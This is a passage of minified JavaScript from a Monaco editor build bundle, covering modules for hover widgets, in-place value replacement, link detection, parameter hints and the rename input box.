i._onKeyDown(e)})),this._toUnhook.push(this._editor.onDidChangeModel(function(){return i._hideWidgets()})),this._toUnhook.push(this._editor.onDidChangeModelDecorations(function(){return i._onModelDecorationsChanged()})),this._toUnhook.push(this._editor.onDidScrollChange(function(e){(e.scrollTopChanged||e.scrollLeftChanged)&&i._hideWidgets()})),this._contentWidget=new d.ModesContentHoverWidget(e,t,n),this._glyphWidget=new h.ModesGlyphHoverWidget(e,t,n))}return t=e,e.get=function(e){return e.getContribution(t.ID)},e.prototype._onModelDecorationsChanged=function(){this._contentWidget.onModelDecorationsChanged(),this._glyphWidget.onModelDecorationsChanged()},e.prototype._onEditorMouseDown=function(e){this._isMouseDown=!0;var t=e.target.type;t!==l.MouseTargetType.CONTENT_WIDGET||e.target.detail!==d.ModesContentHoverWidget.ID?t===l.MouseTargetType.OVERLAY_WIDGET&&e.target.detail===h.ModesGlyphHoverWidget.ID||(t!==l.MouseTargetType.OVERLAY_WIDGET&&e.target.detail!==h.ModesGlyphHoverWidget.ID&&(this._hoverClicked=!1),this._hideWidgets()):this._hoverClicked=!0},e.prototype._onEditorMouseUp=function(e){this._isMouseDown=!1},e.prototype._onEditorMouseMove=function(e){var t=e.target.type,n=o.isMacintosh?\"metaKey\":\"ctrlKey\";this._isMouseDown&&this._hoverClicked&&this._contentWidget.isColorPickerVisible()||(t!==l.MouseTargetType.CONTENT_WIDGET||e.target.detail!==d.ModesContentHoverWidget.ID||e.event[n])&&(t!==l.MouseTargetType.OVERLAY_WIDGET||e.target.detail!==h.ModesGlyphHoverWidget.ID||e.event[n])&&(this._editor.getConfiguration().contribInfo.hover&&t===l.MouseTargetType.CONTENT_TEXT?(this._glyphWidget.hide(),this._contentWidget.startShowingAt(e.target.range,!1)):t===l.MouseTargetType.GUTTER_GLYPH_MARGIN?(this._contentWidget.hide(),this._glyphWidget.startShowingAt(e.target.position.lineNumber)):this._hideWidgets())},e.prototype._onKeyDown=function(e){5!==e.keyCode&&6!==e.keyCode&&57!==e.keyCode&&this._hideWidgets()},e.prototype._hideWidgets=function(){this._isMouseDown&&this._hoverClicked&&this._contentWidget.isColorPickerVisible()||(this._glyphWidget.hide(),this._contentWidget.hide())},e.prototype.showContentHover=function(e,t){this._contentWidget.startShowingAt(e,t)},e.prototype.getId=function(){return t.ID},e.prototype.dispose=function(){this._toUnhook=p.dispose(this._toUnhook),this._glyphWidget&&(this._glyphWidget.dispose(),this._glyphWidget=null),this._contentWidget&&(this._contentWidget.dispose(),this._contentWidget=null)},e.ID=\"editor.contrib.hover\",e=t=v([c.editorContribution,y(1,r.IOpenerService),y(2,s.IModeService)],e);var t}();t.ModesHoverController=C;!function(e){function t(){return e.call(this,{id:\"editor.action.showHover\",label:n.localize(0,null),alias:\"Show Hover\",precondition:null,kbOpts:{kbExpr:_.EditorContextKeys.textFocus,primary:i.KeyChord(2089,2087)}})||this}f(t,e),t.prototype.run=function(e,t){var n=C.get(t);if(n){var i=t.getPosition(),o=new a.Range(i.lineNumber,i.column,i.lineNumber,i.column);n.showContentHover(o,!0)}},t=v([u.editorAction],t)}(u.EditorAction);g.registerThemingParticipant(function(e,t){var n=e.getColor(m.editorHoverHighlight);n&&t.addRule(\".monaco-editor .hoverHighlight { background-color: \"+n+\"; }\");var i=e.getColor(m.editorHoverBackground);i&&t.addRule(\".monaco-editor .monaco-editor-hover { background-color: \"+i+\"; }\");var o=e.getColor(m.editorHoverBorder);o&&(t.addRule(\".monaco-editor .monaco-editor-hover { border: 1px solid \"+o+\"; }\"),t.addRule(\".monaco-editor .monaco-editor-hover .hover-row:not(:first-child):not(:empty) { border-top: 1px solid \"+o.transparent(.5)+\"; }\"));var r=e.getColor(m.textLinkForeground);r&&t.addRule(\".monaco-editor .monaco-editor-hover a { color: \"+r+\"; }\");var s=e.getColor(m.textCodeBlockBackground);s&&t.addRule(\".monaco-editor .monaco-editor-hover code { background-color: \"+s+\"; }\")})}),define(d[524],h([1,0,356,7,2,22,21,13,61,262,131,14,37,34]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var g=function(){function e(e,t){this.editor=e,this.editorWorkerService=t,this.requestIdPool=0,this.currentRequest=i.TPromise.as(null),this.decorationRemover=i.TPromise.as(null),this.decorationIds=[]}return t=e,e.get=function(e){return e.getContribution(t.ID)},e.prototype.dispose=function(){},e.prototype.getId=function(){return t.ID},e.prototype.run=function(e,n){var s=this;this.currentRequest.cancel();var a=this.editor.getSelection(),u=this.editor.getModel().uri;if(a.startLineNumber!==a.endLineNumber)return null;var d=new c.EditorState(this.editor,5);return this.editorWorkerService.canNavigateValueSet(u)?(this.currentRequest=this.editorWorkerService.navigateValueSet(u,a,n),this.currentRequest=this.currentRequest.then(function(e){return e&&e.range&&e.value?e:null})):this.currentRequest=i.TPromise.as(null),this.currentRequest.then(function(n){if(n&&n.range&&n.value&&d.validate(s.editor)){var u=o.Range.lift(n.range),c=n.range,h=n.value.length-(a.endColumn-a.startColumn);c={startLineNumber:c.startLineNumber,startColumn:c.startColumn,endLineNumber:c.endLineNumber,endColumn:c.startColumn+n.value.length},h>1&&(a=new r.Selection(a.startLineNumber,a.startColumn,a.endLineNumber,a.endColumn+h-1));var p=new l.InPlaceReplaceCommand(u,a,n.value);s.editor.pushUndoStop(),s.editor.executeCommand(e,p),s.editor.pushUndoStop(),s.decorationIds=s.editor.deltaDecorations(s.decorationIds,[{range:c,options:t.DECORATION}]),s.decorationRemover.cancel(),s.decorationRemover=i.TPromise.timeout(350),s.decorationRemover.then(function(){s.editor.changeDecorations(function(e){s.decorationIds=e.deltaDecorations(s.decorationIds,[])})})}})},e.ID=\"editor.contrib.inPlaceReplaceController\",e.DECORATION=p.ModelDecorationOptions.register({className:\"valueSetReplacement\"}),e=t=v([a.commonEditorContribution,y(1,u.IEditorWorkerService)],e);var t}();(function(e){function t(){return e.call(this,{id:\"editor.action.inPlaceReplace.up\",label:n.localize(0,null),alias:\"Replace with Previous Value\",precondition:s.EditorContextKeys.writable,kbOpts:{kbExpr:s.EditorContextKeys.textFocus,primary:3154}})||this}f(t,e),t.prototype.run=function(e,t){var n=g.get(t);if(n)return n.run(this.id,!0)},t=v([a.editorAction],t)})(a.EditorAction),function(e){function t(){return e.call(this,{id:\"editor.action.inPlaceReplace.down\",label:n.localize(1,null),alias:\"Replace with Next Value\",precondition:s.EditorContextKeys.writable,kbOpts:{kbExpr:s.EditorContextKeys.textFocus,primary:3156}})||this}f(t,e),t.prototype.run=function(e,t){var n=g.get(t);if(n)return n.run(this.id,!1)},t=v([a.editorAction],t)}(a.EditorAction);d.registerThemingParticipant(function(e,t){var n=e.getColor(h.editorBracketMatchBorder);n&&t.addRule(\".monaco-editor.vs .valueSetReplacement { outline: solid 2px \"+n+\"; }\")})}),define(d[525],h([1,0,358,10,15,36,7,50,71,20,13,17,61,25,401,3,30,14,23,34,192,389]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m,_,C,b,w,S){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var E=o.isMacintosh?n.localize(0,null):n.localize(1,null),L=o.isMacintosh?n.localize(2,null):n.localize(3,null),x=n.localize(4,null),N=n.localize(5,null),M={meta:w.ModelDecorationOptions.register({stickiness:l.TrackedRangeStickiness.NeverGrowsWhenTypingAtEdges,inlineClassName:\"detected-link\",hoverMessage:E}),metaActive:w.ModelDecorationOptions.register({stickiness:l.TrackedRangeStickiness.NeverGrowsWhenTypingAtEdges,inlineClassName:\"detected-link-active\",hoverMessage:E}),alt:w.ModelDecorationOptions.register({stickiness:l.TrackedRangeStickiness.NeverGrowsWhenTypingAtEdges,inlineClassName:\"detected-link\",hoverMessage:x}),altActive:w.ModelDecorationOptions.register({stickiness:l.TrackedRangeStickiness.NeverGrowsWhenTypingAtEdges,inlineClassName:\"detected-link-active\",hoverMessage:x}),altCommand:w.ModelDecorationOptions.register({stickiness:l.TrackedRangeStickiness.NeverGrowsWhenTypingAtEdges,inlineClassName:\"detected-link\",hoverMessage:N}),altCommandActive:w.ModelDecorationOptions.register({stickiness:l.TrackedRangeStickiness.NeverGrowsWhenTypingAtEdges,inlineClassName:\"detected-link-active\",hoverMessage:N}),metaCommand:w.ModelDecorationOptions.register({stickiness:l.TrackedRangeStickiness.NeverGrowsWhenTypingAtEdges,inlineClassName:\"detected-link\",hoverMessage:L}),metaCommandActive:w.ModelDecorationOptions.register({stickiness:l.TrackedRangeStickiness.NeverGrowsWhenTypingAtEdges,inlineClassName:\"detected-link-active\",hoverMessage:L})},T=function(){function e(e,t){this.link=e,this.decorationId=t}return e.decoration=function(t,n){return{range:t.range,options:e._getOptions(t,n,!1)}},e._getOptions=function(e,t,n){return/^command:/i.test(e.url)?t?n?M.metaCommandActive:M.metaCommand:n?M.altCommandActive:M.altCommand:t?n?M.metaActive:M.meta:n?M.altActive:M.alt},e.prototype.activate=function(t,n){t.changeDecorationOptions(this.decorationId,e._getOptions(this.link,n,!0))},e.prototype.deactivate=function(t,n){t.changeDecorationOptions(this.decorationId,e._getOptions(this.link,n,!1))},e}(),k=function(){function e(e,t,n,i){var o=this;this.editor=e,this.openerService=t,this.messageService=n,this.editorWorkerService=i,this.listenersToRemove=[];var r=new S.ClickLinkGesture(e);this.listenersToRemove.push(r),this.listenersToRemove.push(r.onMouseMoveOrRelevantKeyDown(function(e){var t=e[0],n=e[1];o._onEditorMouseMove(t,n)})),this.listenersToRemove.push(r.onExecute(function(e){o.onEditorMouseUp(e)})),this.listenersToRemove.push(r.onCancel(function(e){o.cleanUpActiveLinkDecoration()})),this.enabled=e.getConfiguration().contribInfo.links,this.listenersToRemove.push(e.onDidChangeConfiguration(function(t){var n=e.getConfiguration().contribInfo.links;o.enabled!==n&&(o.enabled=n,o.updateDecorations([]),o.stop(),o.beginCompute())})),this.listenersToRemove.push(e.onDidChangeModelContent(function(e){return o.onChange()})),this.listenersToRemove.push(e.onDidChangeModel(function(e){return o.onModelChanged()})),this.listenersToRemove.push(e.onDidChangeModelLanguage(function(e){return o.onModelModeChanged()})),this.listenersToRemove.push(d.LinkProviderRegistry.onDidChange(function(e){return o.onModelModeChanged()})),this.timeoutPromise=null,this.computePromise=null,this.currentOccurrences={},this.activeLinkDecorationId=null,this.beginCompute()}return t=e,e.get=function(e){return e.getContribution(t.ID)},e.prototype.getId=function(){return t.ID},e.prototype.isComputing=function(){return s.TPromise.is(this.computePromise)},e.prototype.onModelChanged=function(){this.currentOccurrences={},this.activeLinkDecorationId=null,this.stop(),this.beginCompute()},e.prototype.onModelModeChanged=function(){this.stop(),this.beginCompute()},e.prototype.onChange=function(){var e=this;this.timeoutPromise||(this.timeoutPromise=s.TPromise.timeout(t.RECOMPUTE_TIME),this.timeoutPromise.then(function(){e.timeoutPromise=null,e.beginCompute()}))},e.prototype.beginCompute=function(){var e=this;this.editor.getModel()&&this.enabled&&d.LinkProviderRegistry.has(this.editor.getModel())&&(this.computePromise=g.getLinks(this.editor.getModel()).then(function(t){e.updateDecorations(t),e.computePromise=null}))},e.prototype.updateDecorations=function(e){var t=this,n=\"altKey\"===this.editor.getConfiguration().multiCursorModifier;this.editor.changeDecorations(function(i){for(var o=[],r=Object.keys(t.currentOccurrences),s=0,a=r.length;s<a;s++){var u=r[s],l=t.currentOccurrences[u];o.push(l.decorationId)}var c=[];if(e)for(var d=0;d<e.length;d++)c.push(T.decoration(e[d],n));var h=i.deltaDecorations(o,c);t.currentOccurrences={},t.activeLinkDecorationId=null;for(var p=0,a=h.length;p<a;p++){var f=new T(e[p],h[p]);t.currentOccurrences[f.decorationId]=f}})},e.prototype._onEditorMouseMove=function(e,t){var n=this,i=\"altKey\"===this.editor.getConfiguration().multiCursorModifier;if(this.isEnabled(e,t)){this.cleanUpActiveLinkDecoration();var o=this.getLinkOccurrence(e.target.position);o&&this.editor.changeDecorations(function(e){o.activate(e,i),n.activeLinkDecorationId=o.decorationId})}else this.cleanUpActiveLinkDecoration()},e.prototype.cleanUpActiveLinkDecoration=function(){var e=\"altKey\"===this.editor.getConfiguration().multiCursorModifier;if(this.activeLinkDecorationId){var t=this.currentOccurrences[this.activeLinkDecorationId];t&&this.editor.changeDecorations(function(n){t.deactivate(n,e)}),this.activeLinkDecorationId=null}},e.prototype.onEditorMouseUp=function(e){if(this.isEnabled(e)){var t=this.getLinkOccurrence(e.target.position);t&&this.openLinkOccurrence(t,e.hasSideBySideModifier)}},e.prototype.openLinkOccurrence=function(e,t){var o=this;if(this.openerService){var s=e.link;s.resolve().then(function(e){return o.openerService.open(e,{openToSide:t})},function(e){\"invalid\"===e?o.messageService.show(r.default.Warning,n.localize(6,null,s.url)):\"missing\"===e?o.messageService.show(r.default.Warning,n.localize(7,null)):i.onUnexpectedError(e)}).done(null,i.onUnexpectedError)}},e.prototype.getLinkOccurrence=function(e){for(var t=this.editor.getModel().getDecorationsInRange({startLineNumber:e.lineNumber,startColumn:e.column,endLineNumber:e.lineNumber,endColumn:e.column},0,!0),n=0;n<t.length;n++){var i=t[n],o=this.currentOccurrences[i.id];if(o)return o}return null},e.prototype.isEnabled=function(e,t){return e.target.type===p.MouseTargetType.CONTENT_TEXT&&(e.hasTriggerModifier||t&&t.keyCodeIsTriggerKey)},e.prototype.stop=function(){this.timeoutPromise&&(this.timeoutPromise.cancel(),this.timeoutPromise=null),this.computePromise&&(this.computePromise.cancel(),this.computePromise=null)},e.prototype.dispose=function(){this.listenersToRemove=m.dispose(this.listenersToRemove),this.stop()},e.ID=\"editor.linkDetector\",e.RECOMPUTE_TIME=1e3,e=t=v([_.editorContribution,y(1,u.IOpenerService),y(2,a.IMessageService),y(3,h.IEditorWorkerService)],e);var t}();!function(e){function t(){return e.call(this,{id:\"editor.action.openLink\",label:n.localize(8,null),alias:\"Open Link\",precondition:null})||this}f(t,e),t.prototype.run=function(e,t){var n=k.get(t);if(n){var i=n.getLinkOccurrence(t.getPosition());i&&n.openLinkOccurrence(i,!1)}},t=v([c.editorAction],t)}(c.EditorAction);C.registerThemingParticipant(function(e,t){var n=e.getColor(b.editorActiveLinkForeground);n&&t.addRule(\".monaco-editor .detected-link-active { color: \"+n+\" !important; }\")})}),define(d[526],h([1,0,361,3,7,4,51,17,25,18,10,11,124,19,178,63,89,14,23,390]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m,_,C,b){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var w=r.$,S=function(e){function t(n){var i=e.call(this)||this;return i._onHint=i._register(new d.Emitter),i.onHint=i._onHint.event,i._onCancel=i._register(new d.Emitter),i.onCancel=i._onCancel.event,i.editor=n,i.enabled=!1,i.triggerCharactersListeners=[],i.throttledDelayer=new l.RunOnceScheduler(function(){return i.doTrigger()},t.DELAY),i.active=!1,i._register(i.editor.onDidChangeConfiguration(function(){return i.onEditorConfigurationChange()})),i._register(i.editor.onDidChangeModel(function(e){return i.onModelChanged()})),i._register(i.editor.onDidChangeModelLanguage(function(e){return i.onModelChanged()})),i._register(i.editor.onDidChangeCursorSelection(function(e){return i.onCursorChange(e)})),i._register(a.SignatureHelpProviderRegistry.onDidChange(i.onModelChanged,i)),i.onEditorConfigurationChange(),i.onModelChanged(),i}return f(t,e),t.prototype.cancel=function(e){void 0===e&&(e=!1),this.active=!1,this.throttledDelayer.cancel(),e||this._onCancel.fire(void 0)},t.prototype.trigger=function(e){if(void 0===e&&(e=t.DELAY),a.SignatureHelpProviderRegistry.has(this.editor.getModel()))return this.cancel(!0),this.throttledDelayer.schedule(e)},t.prototype.doTrigger=function(){var e=this;g.provideSignatureHelp(this.editor.getModel(),this.editor.getPosition()).then(null,c.onUnexpectedError).then(function(t){if(!t||!t.signatures||0===t.signatures.length)return e.cancel(),e._onCancel.fire(void 0),!1;e.active=!0;var n={hints:t};return e._onHint.fire(n),!0})},t.prototype.isTriggered=function(){return this.active||this.throttledDelayer.isScheduled()},t.prototype.onModelChanged=function(){var e=this;this.active&&this.cancel(),this.triggerCharactersListeners=i.dispose(this.triggerCharactersListeners);var t=this.editor.getModel();if(t){for(var n=new _.CharacterSet,o=0,r=a.SignatureHelpProviderRegistry.ordered(t);o<r.length;o++){var s=r[o];if(Array.isArray(s.signatureHelpTriggerCharacters))for(var u=0,l=s.signatureHelpTriggerCharacters;u<l.length;u++){var c=l[u];n.add(c.charCodeAt(0))}}this.triggerCharactersListeners.push(this.editor.onDidType(function(t){e.enabled&&n.has(t.charCodeAt(t.length-1))&&e.trigger()}))}},t.prototype.onCursorChange=function(e){\"mouse\"===e.source?this.cancel():this.isTriggered()&&this.trigger()},t.prototype.onEditorConfigurationChange=function(){this.enabled=this.editor.getConfiguration().contribInfo.parameterHints,this.enabled||this.cancel()},t.prototype.dispose=function(){this.cancel(!0),this.triggerCharactersListeners=i.dispose(this.triggerCharactersListeners),e.prototype.dispose.call(this)},t.DELAY=120,t}(i.Disposable);t.ParameterHintsModel=S;var E=function(){function e(e,t){var n=this;this.editor=e,this.allowEditorOverflow=!0,this.model=new S(e),this.keyVisible=g.Context.Visible.bindTo(t),this.keyMultipleSignatures=g.Context.MultipleSignatures.bindTo(t),this.visible=!1,this.disposables=[],this.disposables.push(this.model.onHint(function(e){n.show(),n.hints=e.hints,n.currentSignature=e.hints.activeSignature,n.render()})),this.disposables.push(this.model.onCancel(function(){n.hide()})),this.element=w(\".editor-widget.parameter-hints-widget\");var i=r.append(this.element,w(\".wrapper\"));h.stop(h.domEvent(this.element,\"click\"))(this.next,this,this.disposables);var o=r.append(i,w(\".buttons\")),s=r.append(o,w(\".button.previous\")),a=r.append(o,w(\".button.next\"));h.stop(h.domEvent(s,\"click\"))(this.previous,this,this.disposables),h.stop(h.domEvent(a,\"click\"))(this.next,this,this.disposables),this.overloads=r.append(i,w(\".overloads\"));var u=w(\".body\");this.scrollbar=new m.DomScrollableElement(u,{}),this.disposables.push(this.scrollbar),i.appendChild(this.scrollbar.getDomNode()),this.signature=r.append(u,w(\".signature\")),this.docs=r.append(u,w(\".docs\")),this.currentSignature=0,this.editor.addContentWidget(this),this.hide(),this.disposables.push(this.editor.onDidChangeCursorSelection(function(e){n.visible&&n.editor.layoutContentWidget(n)}));var l=function(){var e=n.editor.getConfiguration().fontInfo;n.element.style.fontSize=e.fontSize+\"px\"};l(),d.chain(this.editor.onDidChangeConfiguration.bind(this.editor)).filter(function(e){return e.fontInfo}).on(l,null,this.disposables),this.disposables.push(this.editor.onDidLayoutChange(function(e){return n.updateMaxHeight()})),this.updateMaxHeight()}return e.prototype.show=function(){var e=this;this.model&&!this.visible&&(this.keyVisible.set(!0),this.visible=!0,o.TPromise.timeout(100).done(function(){return r.addClass(e.element,\"visible\")}),this.editor.layoutContentWidget(this))},e.prototype.hide=function(){this.model&&this.visible&&(this.keyVisible.reset(),this.visible=!1,this.hints=null,this.announcedLabel=null,r.removeClass(this.element,\"visible\"),this.editor.layoutContentWidget(this))},e.prototype.getPosition=function(){return this.visible?{position:this.editor.getPosition(),preference:[u.ContentWidgetPositionPreference.ABOVE,u.ContentWidgetPositionPreference.BELOW]}:null},e.prototype.render=function(){var e=this.hints.signatures.length>1;r.toggleClass(this.element,\"multiple\",e),this.keyMultipleSignatures.set(e),this.signature.innerHTML=\"\",this.docs.innerHTML=\"\";var t=this.hints.signatures[this.currentSignature];if(t){var i=r.append(this.signature,w(\".code\")),o=t.parameters.length>0,a=this.editor.getConfiguration().fontInfo;i.style.fontSize=a.fontSize+\"px\",i.style.fontFamily=a.fontFamily,o?this.renderParameters(i,t,this.hints.activeParameter):r.append(i,w(\"span\")).textContent=t.label;var u=t.parameters[this.hints.activeParameter];if(u&&u.documentation){var l=w(\"span.documentation\");l.textContent=u.documentation,r.append(this.docs,w(\"p\",null,l))}r.toggleClass(this.signature,\"has-docs\",!!t.documentation),t.documentation&&r.append(this.docs,w(\"p\",null,t.documentation));var c=String(this.currentSignature+1);if(this.hints.signatures.length<10&&(c+=\"/\"+this.hints.signatures.length),this.overloads.textContent=c,u){var d=u.label;this.announcedLabel!==d&&(s.alert(n.localize(0,null,d)),this.announcedLabel=d)}this.editor.layoutContentWidget(this),this.scrollbar.scanDomNode()}},e.prototype.renderParameters=function(e,t,n){for(var i,o=t.label.length,s=0,a=t.parameters.length-1;a>=0;a--){var u=t.parameters[a],l=0,c=0;(s=t.label.lastIndexOf(u.label,o-1))>=0&&(l=s,c=s+u.label.length),(i=document.createElement(\"span\")).textContent=t.label.substring(c,o),r.prepend(e,i),(i=document.createElement(\"span\")).className=\"parameter \"+(a===n?\"active\":\"\"),i.textContent=t.label.substring(l,c),r.prepend(e,i),o=l}(i=document.createElement(\"span\")).textContent=t.label.substring(0,o),r.prepend(e,i)},e.prototype.next=function(){var e=this.hints.signatures.length;return e<2?(this.cancel(),!1):(this.currentSignature=(this.currentSignature+1)%e,this.render(),!0)},e.prototype.previous=function(){var e=this.hints.signatures.length;return e<2?(this.cancel(),!1):(this.currentSignature=(this.currentSignature-1+e)%e,this.render(),!0)},e.prototype.cancel=function(){this.model.cancel()},e.prototype.getDomNode=function(){return this.element},e.prototype.getId=function(){return e.ID},e.prototype.trigger=function(){this.model.trigger(0)},e.prototype.updateMaxHeight=function(){var e=Math.max(this.editor.getLayoutInfo().height/4,250);this.element.style.maxHeight=e+\"px\"},e.prototype.dispose=function(){this.disposables=i.dispose(this.disposables),this.model=null},e.ID=\"editor.widget.parameterHintsWidget\",e=v([y(1,p.IContextKeyService)],e)}();t.ParameterHintsWidget=E,C.registerThemingParticipant(function(e,t){var n=e.getColor(b.editorHoverBorder);if(n){var i=e.type===C.HIGH_CONTRAST?2:1;t.addRule(\".monaco-editor .parameter-hints-widget { border: \"+i+\"px solid \"+n+\"; }\"),t.addRule(\".monaco-editor .parameter-hints-widget.multiple .body { border-left: 1px solid \"+n.transparent(.5)+\"; }\"),t.addRule(\".monaco-editor .parameter-hints-widget .signature.has-docs { border-bottom: 1px solid \"+n.transparent(.5)+\"; }\")}var o=e.getColor(b.editorHoverBackground);o&&t.addRule(\".monaco-editor .parameter-hints-widget { background-color: \"+o+\"; }\")})}),define(d[527],h([1,0,360,3,16,21,19,13,30,526,178]),function(e,t,n,i,o,r,s,a,u,l,c){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var d=function(){function e(e,t){this.editor=e,this.widget=t.createInstance(l.ParameterHintsWidget,this.editor)}return t=e,e.get=function(e){return e.getContribution(t.ID)},e.prototype.getId=function(){return t.ID},e.prototype.cancel=function(){this.widget.cancel()},e.prototype.previous=function(){this.widget.previous()},e.prototype.next=function(){this.widget.next()},e.prototype.trigger=function(){this.widget.trigger()},e.prototype.dispose=function(){this.widget=i.dispose(this.widget)},e.ID=\"editor.controller.parameterHints\",e=t=v([u.editorContribution,y(1,o.IInstantiationService)],e);var t}(),h=function(e){function t(){return e.call(this,{id:\"editor.action.triggerParameterHints\",label:n.localize(0,null),alias:\"Trigger Parameter Hints\",precondition:r.EditorContextKeys.hasSignatureHelpProvider,kbOpts:{kbExpr:r.EditorContextKeys.textFocus,primary:3082}})||this}return f(t,e),t.prototype.run=function(e,t){var n=d.get(t);n&&n.trigger()},t=v([a.editorAction],t)}(a.EditorAction);t.TriggerParameterHintsAction=h;var p=a.CommonEditorRegistry.commandWeight(75),g=a.EditorCommand.bindToContribution(d.get);a.CommonEditorRegistry.registerEditorCommand(new g({id:\"closeParameterHints\",precondition:c.Context.Visible,handler:function(e){return e.cancel()},kbOpts:{weight:p,kbExpr:r.EditorContextKeys.textFocus,primary:9,secondary:[1033]}})),a.CommonEditorRegistry.registerEditorCommand(new g({id:\"showPrevParameterHint\",precondition:s.ContextKeyExpr.and(c.Context.Visible,c.Context.MultipleSignatures),handler:function(e){return e.previous()},kbOpts:{weight:p,kbExpr:r.EditorContextKeys.textFocus,primary:16,secondary:[528],mac:{primary:16,secondary:[528,302]}}})),a.CommonEditorRegistry.registerEditorCommand(new g({id:\"showNextParameterHint\",precondition:s.ContextKeyExpr.and(c.Context.Visible,c.Context.MultipleSignatures),handler:function(e){return e.next()},kbOpts:{weight:p,kbExpr:r.EditorContextKeys.textFocus,primary:18,secondary:[530],mac:{primary:18,secondary:[530,300]}}}))}),define(d[528],h([1,0,369,10,3,7,2,25,14,23,12,393]),function(e,t,n,i,o,r,s,a,u,l,c){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var d=function(){function e(e,t){var n=this;this.themeService=t,this._disposables=[],this.allowEditorOverflow=!0,this._currentAcceptInput=null,this._currentCancelInput=null,this._editor=e,this._editor.addContentWidget(this),this._disposables.push(e.onDidChangeConfiguration(function(e){e.fontInfo&&n.updateFont()})),this._disposables.push(t.onThemeChange(function(e){return n.onThemeChange(e)}))}return e.prototype.onThemeChange=function(e){this.updateStyles(e)},e.prototype.dispose=function(){this._disposables=o.dispose(this._disposables),this._editor.removeContentWidget(this)},e.prototype.getId=function(){return\"__renameInputWidget\"},e.prototype.getDomNode=function(){return this._domNode||(this._inputField=document.createElement(\"input\"),this._inputField.className=\"rename-input\",this._inputField.type=\"text\",this._inputField.setAttribute(\"aria-label\",n.localize(0,null)),this._domNode=document.createElement(\"div\"),this._domNode.style.height=this._editor.getConfiguration().lineHeight+\"px\",this._domNode.className=\"monaco-editor rename-box\",this._domNode.appendChild(this._inputField),this.updateFont(),this.updateStyles(this.themeService.getTheme())),this._domNode},e.prototype.updateStyles=function(e){if(this._inputField){var t=e.getColor(l.inputBackground),n=e.getColor(l.inputForeground),i=e.getColor(l.widgetShadow),o=e.getColor(l.inputBorder);this._inputField.style.backgroundColor=t?t.toString():null,this._inputField.style.color=n?n.toString():null,this._inputField.style.borderWidth=o?\"1px\":\"0px\",this._inputField.style.borderStyle=o?\"solid\":\"none\",this._inputField.style.borderColor=o?o.toString():\"none\",this._domNode.style.boxShadow=i?\" 0 2px 8px \"+i:null}},e.prototype.updateFont=function(){if(this._inputField){var e=this._editor.getConfiguration().fontInfo;this._inputField.style.fontFamily=e.fontFamily,this._inputField.style.fontWeight=e.fontWeight,this._inputField.style.fontSize=e.fontSize+\"px\"}},e.prototype.getPosition=function(){return this._visible?{position:this._position,preference:[a.ContentWidgetPositionPreference.BELOW,a.ContentWidgetPositionPreference.ABOVE]}:null},e.prototype.acceptInput=function(){this._currentAcceptInput&&this._currentAcceptInput()},e.prototype.cancelInput=function(){this._currentCancelInput&&this._currentCancelInput()},e.prototype.getInput=function(e,t,n,a){var u=this;this._position=new c.Position(e.startLineNumber,e.startColumn),this._inputField.value=t,this._inputField.setAttribute(\"selectionStart\",n.toString()),this._inputField.setAttribute(\"selectionEnd\",a.toString()),this._inputField.size=Math.max(1.1*(e.endColumn-e.startColumn),20);var l,d=[];return l=function(){o.dispose(d),u._hide()},new r.TPromise(function(n,o){u._currentCancelInput=function(){return u._currentAcceptInput=null,u._currentCancelInput=null,o(i.canceled()),!0},u._currentAcceptInput=function(){0!==u._inputField.value.trim().length&&u._inputField.value!==t?(u._currentAcceptInput=null,u._currentCancelInput=null,n(u._inputField.value)):u.cancelInput()};d.push(u._editor.onDidChangeCursorSelection(function(){s.Range.containsPosition(e,u._editor.getPosition())||u.cancelInput()})),d.push(u._editor.onDidBlurEditor(function(){return u.cancelInput()})),u._show()},this._currentCancelInput).then(function(e){return l(),e},function(e){return l(),r.TPromise.wrapError(e)})},e.prototype._show=function(){var e=this;this._editor.revealLineInCenterIfOutsideViewport(this._position.lineNumber),this._visible=!0,this._editor.layoutContentWidget(this),setTimeout(function(){e._inputField.focus(),e._inputField.setSelectionRange(parseInt(e._inputField.getAttribute(\"selectionStart\")),parseInt(e._inputField.getAttribute(\"selectionEnd\")))},25)},e.prototype._hide=function(){this._visible=!1,this._editor.layoutContentWidget(this)},e=v([y(1,u.IThemeService)],e)}();t.default=d}),define(d[529],h([1,0,368,10,36,7,411,19,50,163,13,30,21,338,528,87,16,14,18,17,51,2]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m,_,C,b,w,S,E){\"use strict\";function L(e,t,o){var s=[],a=!1,u=w.RenameProviderRegistry.ordered(e).map(function(n){return function(){if(!a)return b.asWinJsPromise(function(i){return n.provideRenameEdits(e,t,o,i)}).then(function(e){if(e){if(!e.rejectReason)return a=!0,e;s.push(e.rejectReason)}else;},function(e){return i.onUnexpectedExternalError(e),r.TPromise.wrapError(new Error(\"provider failed\"))})}});return b.sequence(u).then(function(e){var t=e[0];return s.length>0?{edits:void 0,rejectReason:s.join(\"\\n\")}:t||{edits:void 0,rejectReason:n.localize(0,null)}})}Object.defineProperty(t,\"__esModule\",{value:!0}),t.rename=L;var x=new a.RawContextKey(\"renameInputVisible\",!1),N=function(){function e(e,t,n,i,o,r,s){this.editor=e,this._messageService=t,this._textModelResolverService=n,this._progressService=i,this._fileService=s,this._renameInputField=new g.default(e,r),this._renameInputVisible=x.bindTo(o)}return t=e,e.get=function(e){return e.getContribution(t.ID)},e.prototype.dispose=function(){this._renameInputField.dispose()},e.prototype.getId=function(){return t.ID},e.prototype.run=function(){var e=this,t=this.editor.getSelection(),s=this.editor.getModel().getWordAtPosition(t.getStartPosition());if(s){var a,u=t.startLineNumber,l=0,c=s.word.length;return a=new E.Range(u,s.startColumn,u,s.endColumn),t.isEmpty()||t.startLineNumber!==t.endLineNumber||(l=Math.max(0,t.startColumn-s.startColumn),c=Math.min(s.endColumn,t.endColumn)-s.startColumn),this._renameInputVisible.set(!0),this._renameInputField.getInput(a,s.word,l,c).then(function(t){e._renameInputVisible.reset(),e.editor.focus();var i=e._prepareRename(t).then(function(i){return i.finish().then(function(o){o&&e.editor.setSelection(o),S.alert(n.localize(1,null,s.word,t,i.ariaMessage()))})},function(t){return\"string\"==typeof t?void 